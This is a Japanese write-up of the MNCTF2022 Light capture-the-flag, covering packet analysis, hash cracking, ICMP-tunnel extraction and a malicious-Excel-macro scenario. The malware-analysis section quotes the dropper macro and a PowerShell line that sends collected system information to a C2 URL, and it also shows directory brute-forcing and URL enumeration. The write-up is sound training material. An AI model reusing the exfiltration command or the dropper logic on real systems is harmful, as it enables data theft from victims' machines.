MNCTF2022 Light Writeup

マクニカさんが毎年実施されているCTFのLight版です。公式Writeupは公開しないとのことなので、Writeupを書いてみました。プログラムが書けないという声もあったので、できるだけプログラムを書かずにツールだけで解いてみたいと思います。

以下のURLで一般公開されています。
https://mnctf.info/mnctf2022light/

# 0.チュートリアル
練習用ステージです。問題を閲覧すれば答えが書かれていますので省略します。

# 1.第1日目　初級編

## FTPのパスワード
[Wireshark](https://www.wireshark.org/download.html)でPCAPファイルを開きます。
2つ目のパケットを選択して右クリックして"追跡→TCPストリーム"を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/21921bbf-556f-838b-c58c-49719a0028e6.png)
PASSの後に書かれているのがFTPのパスワードです。
答え：ftp12345678

## IPアドレスの国
不正ログインの答えの国を調べる問題です。
たとえば[viewdns](https://viewdns.info/whois/?domain=139.59.19.54)で調査すると該当IPは"country: IN"であることがわかります。
答え：インド

## Webのソースコード
Webのソースコードを確認すると気になるmetaタグがあります。
```html
<meta name="github" content="https://github.com/Sh1n0g1/mnctf2022light_web50.git">
```
https://github.com/Sh1n0g1/mnctf2022light_web50 へアクセスするとソースコードがあり、パスワードは"password.secret"というファイルに格納されていることが判明します。
```php
  <?php
    if(!isset($_POST['password'])){
      die();
    }
    $password=$_POST['password'];
    $correctpassword=file_get_contents('password.secret');
    if($password===$correctpassword){
      print('Login Successful.');
    }else{
      print('Login Failed');
    }
  ?>
```
https://mnctf.info/mnctf2022light/task/web50/password.secret へアクセスするとパスワードが表示されます（パスワードを格納しているファイルがWebに公開されているためブラウザからパスワードを確認可能）。
答え：PASSWORD123

## バッチファイルの解析
バッチファイルのリダイレクト("> nul"）の部分を消して、バッチファイルを実行すれば答えが判明します。
答え：209.97.174.39

（別解）[CyberChef](https://gchq.github.io/CyberChef/)に変換のレシピがあるとコメントがありました。
```
set num=175641985
set /A num=%num%*2+1　→　351283971
ping %num%9　　　　　　→　3512839719
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/7db50746-1c13-55ea-1ddf-71b77863afa6.png)

## 不正ログイン
ログファイルはCSVフォーマットのためテキストエディタでは見づらいです。そこでExcelでログファイルを確認します。
何が不正ログインなのかは場合によりけりだと思いますので各項目を確認します。

1.activitiesを確認
　すべて"Login Successfully"でした。activitiesでは不正ログインか判断できません。
2.usernameを確認
　重複の削除で確認したところ、重複はありませんでした。usernameでは不正ログインか判断できません。
3.ipaddressを確認
　重複の削除で確認したところ、重複する16個の値が見つかりました。

どうやら、複数の異なるユーザーが同じIPアドレスから不正ログインされているようです。

重複したIPアドレスを探します。
IPアドレスの列を選択して、条件付き書式→セルの強調表示ルール→重複する値を設定。色がついたセルが答えとなります。
色がついたセルは17個なので、重複したIPアドレスは1つだけであることが確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/a66dc81a-1a19-5bda-a9dc-edefa1e0814b.png)

答え：139.59.19.54

（別解）コマンドラインで集計。
awkでIPアドレスを抽出し（,区切りの2つ目）、sortでIPアドレス順に並べ、uniq -cで個数をカウント。sort -rで大きい順にソートし、head -n 5で上位5件を表示します。
```bash
$ awk -F',' '{print $2}' login.csv | sort | uniq -c | sort -r | head -n 5
     17 139.59.19.54
      1 ipaddress
      1 99.85.46.55
      1 99.155.248.115
      1 99.135.148.82
```
複数回登場するIPアドレスは1つだけでした。

## 拡張子不明のファイル
ブラウザアクセスすると画像が表示されています。さらにファイルを保存すると勝手に拡張子が付いてきました。

答え：png
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/9f13c32e-2649-a80e-99bb-96af3bc9addc.png)

（別解）fileコマンドで確認
```bash
$ file unknown
unknown: PNG image data, 1290 x 634, 8-bit/color RGB, non-interlaced
```

## 暗号の基礎知識
知識問題です。

答え：公開鍵
"非対称"も正解ではないか？とのコメントがありました。

# 2.第2日目　中級編

## ICMPトンネリング
WiresharkでPCAPファイルを確認します。
ICMPのPAYLOADにデータが入っているようです。手動でPAYLOADを取り出すのは大変なのでtsharkを使います（Wiresharkをインストールしたフォルダにインストールされています）。
```
c:\>"C:\Program Files\Wireshark\tshark.exe" -r icmp.pcapng -Y "icmp && ip.src == 192.168.11.37" -e data.data -Tfields > data.txt
```

ファイル転送に利用したツールのソースコードを確認します。
+ クライアント側ソースコード抜粋 https://github.com/FortyNorthSecurity/Egress-Assess/blob/master/protocols/clients/icmp_client.py
```python
while byte_reader < len(data_to_transmit):
    if not self.file_transfer:
        encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
    else:
        encoded_data = base64.b64encode(self.file_transfer +
                                        ".:::-989-:::." + data_to_transmit[byte_reader:byte_reader + self.length])
```
+ サーバー側ソースコード抜粋 https://github.com/FortyNorthSecurity/Egress-Assess/blob/master/protocols/servers/icmp_server.py
```python
if b".:::-989-:::." in incoming_data:
    file_name = incoming_data.split(b".:::-989-:::.")[0].decode('utf-8')
    file_data = incoming_data.split(b".:::-989-:::.")[1].decode('utf-8')
    helpers.received_file(file_name)
    with open(self.loot_path + file_name, 'a') as icmp_out:
        icmp_out.write(file_data)
    self.last_packet = incoming_data
```
".:::-989-:::."が区切り文字で、区切り文字の前がファイル名、区切り文字の後ろがデータであること、データはbase64でエンコードされていることがソースコードからわかりました。

CyberChefで解きます（splitを使って1行づつ処理するべきなのですが、うまく変換できたので省略しています）。
まずTailを使って不要な1行目のデータを削除します。次にFrom Hexを使い16進数文字列を文字へ変換します（tsharkの出力が16進数文字列のため）。次にFrom Base64でBase64文字列をデコードしています。ソースコードより判明したデータ以外の文字列（ファイル名＋区切り文字）をReplaceを使い削除します。最後にRender Imageを使い画像を表示します。
CyberChefでフラグ画像を確認することができました。

答え：ICMPTUNNELING!

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/80475a1f-60ad-da0f-0f0e-38f364d38d49.png)

## ハッシュの逆算
カテゴリ: Programmingですが、ツールでも解けるとコメントがありました。
[hashcat](https://hashcat.net/hashcat/)を使います。
```
c:\>hashcat.exe -m 0 -a 3 90b67cf9496d344f46f8e4460b677b50 MAKUNIKIEMPLOYEEID?d?d?d?d?d

90b67cf9496d344f46f8e4460b677b50:MAKUNIKIEMPLOYEEID87281
```
答え：MAKUNIKIEMPLOYEEID87281
（参考）hashcatのオプションは以下
 -m 0 MD5（ハッシュのフォーマットを指定）
 -a 3 Brute-force
 ?d　数値（Brute-force対象）

（別解）Pythonでは以下のようなスクリプトになります。
```python
import hashlib
for i in range(100000):
    s = f"MAKUNIKIEMPLOYEEID{i:>05}"
    h = hashlib.md5(s.encode()).hexdigest()
    if h=="90b67cf9496d344f46f8e4460b677b50":
        print(s)
```

## 数字クロスワード
鍵からポート番号を答えれば良いと推測できます。ポート番号は検索すればがわかります。
ただし1つだけHTTPのレスポンスステータスコードになっています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/37c0ebf6-3b54-d8ff-50c0-70cf04113360.png)

答え： 7224035433389

（参考）ポート番号はコマンドラインで調べることもできます。
```
$ cat /etc/services | grep -i klogin
klogin          543/tcp                         # Kerberized `rlogin' (v5)
```

# 3.第3日目　シナリオ編
## 1.実行条件
Excelでファイルを開き、Sheet1タブを右クリック→コードの表示を選択。ThisWorkbookをダブくクリックするとマクロが表示されます。hostnameが"MAKUNIKI"と一致するか確認している処理が確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/a698c4e3-048f-8078-e9e8-1e714f625e7c.png)

答え：MAKUNIKI

（別解）Excelで検体を直接開くのはリスクがあるため、ツールを使いマクロを抽出するのがおすすめです。
　例えば [olevba](https://github.com/decalage2/oletools/wiki/olevba) や [oledump](https://blog.didierstevens.com/programs/oledump-py/) が有名です。

```
c:\>olevba -c 売り上げ一覧.xls
olevba 0.60 on Python 3.10.4 - http://decalage.info/python/oletools
===============================================================================
FILE: 売り上げ一覧.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: 売り上げ一覧.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Const FILEPATH = "diagnostic_tool.exe"
Private Sub Workbook_Open()

    hostname = (Environ$("computername"))
    If InStr(hostname, "MAKUNIKI") <> 0 Then
        readData
    End If
End Sub
```

## 2.2次検体
Excelのマクロが実行されると2次検体のファイルが作成され、検体が実行されます。
（注意）そのままマクロを実行すると2次検体が実行され、通信が発生します。

ホスト名をチェックしているため、Excelを実行しているPCのホスト名をMAKUNIKIに変更 or マクロのホスト名を自PCのホスト名に変更 or readDataを呼び出す と2次検体が作成されます。
```vb
Private Sub Workbook_Open()
    
    hostname = (Environ$("computername"))
    If InStr(hostname, "MAKUNIKI") <> 0 Then
        readData
    End If
End Sub
```

マクロを実行する場合、2次検体が実行されないように以下のコードをコメントアウト or 削除することをおすすめします。
```vb
    Shell "cmd /c " & FILEPATH, vbMinimizedFocus
```

マクロを実行すると、同じフォルダに2次検体 diagnostic_tool.exe が作成されます。2次検体のsha256が答えです。

```
$ sha256sum diagnostic_tool.exe
928294fd5fd06f49edfa164980d907b6db218b5081da602b3ab2b75ff7e34083  diagnostic_tool.exe
```
答え：928294fd5fd06f49edfa164980d907b6db218b5081da602b3ab2b75ff7e34083

（別解）Excelのマクロを実行するのはリスクがあるため、Pythonスクリプトで2次検体を作成してみます。
Excelファイルをcsv形式で保存し、以下のスクリプトを実行すると2次検体が作成されます。
```python
with open("売り上げ一覧.csv","rt",encoding="utf-8") as f:
    data = f.read().split("\n")
w = open("diagnostic_tool.bin","wb")
for dat in data:
    if not "PRODUCT" in dat:
        continue
    dat = dat.split(",")[1:]
    for d in dat:
        if d=="":
            continue
        w.write(bytes([int(d)]))
w.close()
```

## 3.通信先
[IDA](https://hex-rays.com/)で静的解析、[x64dbg](https://x64dbg.com/)で動的解析をおこないます。

静的解析したところ通信に関するAPIは利用されていないようでした。代わりにコマンドを実行する関数 [system](https://docs.microsoft.com/ja-jp/cpp/c-runtime-library/reference/system-wsystem) が呼び出されていました。実行されるコマンドは暗号化されていたので、動的解析でコマンドを確認しました。
動的解析の結果、systeminfo、tasklist、net user、netstat、whoamiなどのコマンドを実行し、test.logへコマンドの実行結果（端末の情報）を格納していました。その後、powershell $data=Get-Content test.log;Invoke-WebRequest 'https://task.mnctf.info/blog/' -Method POST -Body @{hostname=([System.Net.Dns]::GetHostName()); data =([Convert]::ToBase64String(([System.Text.Encoding]::Default).GetBytes($data)))}
を実行し、C2へ端末の情報を送信していました。

答え：https://task.mnctf.info/blog/

（別解）VirutsTotalやSandboxを使えば通信先がわかります。ですが、検体をむやみにUploadすることはおすすめできません。
すでにVirusTotalにUploadされていた[結果](https://www.virustotal.com/gui/file/928294fd5fd06f49edfa164980d907b6db218b5081da602b3ab2b75ff7e34083/behavior/C2AE)を抜粋します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2637338/bd7d4baa-bcc3-adf3-312e-29bd7e0d1e36.png)

（別解）PowerShellが実行されることがわかれば、イベントログ”Windows PowerShell”から実行したコマンドライン引数がわかります。
```posh
HostApplication=powershell $data=Get-Content test.log;Invoke-WebRequest 'https://task.mnctf.info/blog/' -Method POST -Body @{hostname=([System.Net.Dns]::GetHostName()); data =([Convert]::ToBase64String(([System.Text.Encoding]::Default).GetBytes($data)))}
```

## 4.隠れたディレクトリ
手動で確認するのは現実的ではないため、ツールを利用します。
[dirsearch](https://github.com/maurosoria/dirsearch)を使い隠されたディレクトリを見つけます。

```
c:\>python3 dirsearch.py -u https://task.mnctf.info/blog/

  _|. _ _  _  _  _ _|_    v0.4.2.4
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11308

Output File: C:\dirsearch\reports\task.mnctf.info\_blog__22-05-23_12-37-29.txt

Target: https://task.mnctf.info/blog/

[12:37:30] Starting:
[12:37:35] 403 -  281B  - /blog/.ht_wsr.txt
[12:37:35] 403 -  281B  - /blog/.htaccess.bak1
[12:37:35] 403 -  281B  - /blog/.htaccess.orig
[12:37:35] 403 -  281B  - /blog/.htaccess.sample
[12:37:35] 403 -  281B  - /blog/.htaccess.save
[12:37:35] 403 -  281B  - /blog/.htaccess_extra
[12:37:35] 403 -  281B  - /blog/.htaccess_orig
[12:37:35] 403 -  281B  - /blog/.htaccess_sc
[12:37:35] 403 -  281B  - /blog/.htaccessBAK
[12:37:35] 403 -  281B  - /blog/.htaccessOLD
[12:37:35] 403 -  281B  - /blog/.htaccessOLD2
[12:37:35] 403 -  281B  - /blog/.htm
[12:37:35] 403 -  281B  - /blog/.html
[12:37:35] 403 -  281B  - /blog/.htpasswd_test
[12:37:35] 403 -  281B  - /blog/.httr-oauth
[12:37:35] 403 -  281B  - /blog/.htpasswds
[12:37:37] 403 -  281B  - /blog/.php
[12:37:53] 200 -  956B  - /blog/bak/
[12:37:53] 301 -  323B  - /blog/bak  ->  https://task.mnctf.info/blog/bak/
[12:38:08] 200 -    0B  - /blog/index.php
[12:38:08] 200 -    0B  - /blog/index.php/login/

Task Completed
```

答え：bak



## 5.感染端末の特定
4で見つけたディレクトリ https://task.mnctf.info/blog/bak/ へアクセスするとindex.zipが格納されていました。index.zipをダウンロードしファイルの中身を確認するとindex.phpが格納されていました。index.phpはサーバー側で動作しているスクリプトのソースコードのようです。
ソースコードを確認すると、HOSTDIR + hostname + '.html' というファイルに書き込みをしていることがわかります（検体から送信された端末情報をファイルに保存している）。HOSTDIRは'HOSTINFO_SECRET/'なので 'HOSTINFO_SECRET/' + hostname + '.html'となります。

```php
<?php
  $HOSTDIR='HOSTINFO_SECRET/';
  if(!file_exists($HOSTDIR)){
    die('No directory...');
  }
  if(isset($_REQUEST['hostname'])){
    $hostname = $_REQUEST['hostname'];
    $filepath = $HOSTDIR.$hostname.'.html';
    if(!file_exists($filepath)){
      $f = fopen($HOSTDIR.$hostname.'.html','w');
(snip)
```
HOSTINFO_SECRETはWebに公開されているため、アクセスができるか確認してみます。WEBブラウザでhttps://task.mnctf.info/blog/HOSTINFO_SECRET/ へアクセスすると It works.. と表示されたことより、データを格納しているディレクトリに外部からアクセス可能なことがわかりました。
ホスト名の命名規則のファイルにアクセスし感染端末（情報を送信したホスト）を確認します。
手動で確認するのは現実的ではないためスクリプトを書きます。
```python
import urllib.request

for i in range(10000):
    url = f"https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI{i:>04}.html"
    print(url)
    try:
        req = urllib.request.Request(url)
        with urllib.request.urlopen(req) as response:
            body = response.read()
    except:
        continue
    print (body)
    break
```

スクリプトを実行ししばらく待つと、 https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0582.html にアクセスしたときにコンテンツの取得に成功しました。
```
https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0577.html
https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0578.html
https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0579.html
https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0580.html
https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0581.html
https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0582.html
b"<!DOCTYPE html>\r\n      <html lang='en'>\r\n      <head>\r\n        <meta charset='UTF-8'>\r\n        <meta http-equiv='X-UA-Compatible' content='IE=edge'>\r\n        <meta name='viewport' content='width=device-width, initial-scale=1.0'>\r\n        <title>HOSTINFO:MAKUNIKI0582</title>\r\n      </head>\r\n      <body><h1>HOSTINFO:MAKUNIKI0582</h1><pre> Host Name:                 MAKUNIKI0582
(snip)
```

答え：MAKUNIKI0582

（別解）
powershellを使うとURLにアクセス可能か確認をすることが可能です。これを利用し10000行のバッチファイルを作ればプログラミングせずに感染端末を確認することが可能です。ループや条件判断することも可能ですがプログラミングになってしまうため割愛します。

・URLへアクセスができない場合
```
c:\>powershell -c curl https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0581.html
curl : Not Found
The requested URL was not found on this server.
Apache/2.4.29 (Ubuntu) Server at task.mnctf.info Port 443
発生場所 行:1 文字:1
+ curl https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0581.html
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest]、WebExce
    ption
    + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
```

・URLへアクセスができた場合
```
c:\>powershell -c curl https://task.mnctf.info/blog/HOSTINFO_SECRET/MAKUNIKI0582.html
StatusCode        : 200
StatusDescription : OK
Content           : <!DOCTYPE html>
                          <html lang='en'>
                          <head>
                            <meta charset='UTF-8'>
                            <meta http-equiv='X-UA-Compatible' content='IE=edge'>
                            <meta name='viewport' content='width=devic...
RawContent        : HTTP/1.1 200 OK
                    Vary: Accept-Encoding
                    Keep-Alive: timeout=5, max=100
                    Connection: Keep-Alive
                    Accept-Ranges: bytes
                    Content-Length: 48395
                    Content-Type: text/html
                    Date: Mon, 23 May 2022 04:51:19 GM...
Forms             : {}
Headers           : {[Vary, Accept-Encoding], [Keep-Alive, timeout=5, max=100], [Connection, Keep-Alive], [Accept-Range
                    s, bytes]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 48395
```